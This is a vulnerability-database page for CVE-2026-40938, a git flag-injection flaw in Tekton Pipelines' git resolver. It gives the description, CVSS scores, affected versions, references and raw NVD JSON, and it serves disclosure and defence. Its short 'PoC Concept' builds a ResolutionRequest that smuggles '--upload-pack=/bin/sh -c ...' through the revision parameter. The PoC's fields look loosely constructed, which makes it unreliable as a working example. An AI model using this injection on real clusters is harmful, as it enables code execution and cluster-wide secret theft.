CVE-2026-40938

Description

Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:* - VULNERABLE

Tekton Pipelines >= 1.0.0, < 1.0.2

Tekton Pipelines >= 1.3.0, < 1.3.4

Tekton Pipelines >= 1.6.0, < 1.6.2

Tekton Pipelines >= 1.9.0, < 1.9.3

Tekton Pipelines >= 1.11.0, < 1.11.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Concept: Injecting git fetch flags via ResolutionRequest
# Attacker creates a malicious ResolutionRequest to exploit the resolver.

import yaml

# Malicious payload demonstrating the injection
# The 'revision' field injects the --upload-pack flag
# The 'url' field uses a local path permitted by validateRepoURL

payload = {
    "apiVersion": "resolution.tekton.dev/v1beta1",
    "kind": "ResolutionRequest",
    "metadata": {"name": "cve-2026-40938-poc"},
    "spec": {
        "url": "/etc/passwd", # Local filesystem path
        "params": [
            {
                "name": "revision",
                # Injecting arbitrary flag to execute command
                "value": "--upload-pack=/bin/sh -c 'whoami > /tmp/pwned'"
            }
        ]
    }
}

print(yaml.dump(payload))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40938
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40938
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40938/
[4] VulDB https://vuldb.com/cve/CVE-2026-40938
[5] https://github.com/tektoncd/pipeline/releases/tag/v1.11.1
[6] https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq
[7] https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40938", "sourceIdentifier": "[email protected]", "published": "2026-04-21T21:16:46.283", "lastModified": "2026-05-21T23:16:44.873", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tekton Pipelines project provides k8s-style resources for declaring CI/CD-style pipelines. Starting in version 1.0.0 and prior to versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1, the git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration. Versions 1.0.2, 1.3.4, 1.6.2, 1.9.3, and 1.11.1 fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:tekton_pipelines:*:*:*:*:*:go:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.11.0", "matchCriteriaId": "64DC28D5-E9D3-4D6A-8006-ADDE91D144BA"}]}]}], "references": [{"url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-94jr-7pqp-xhcq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}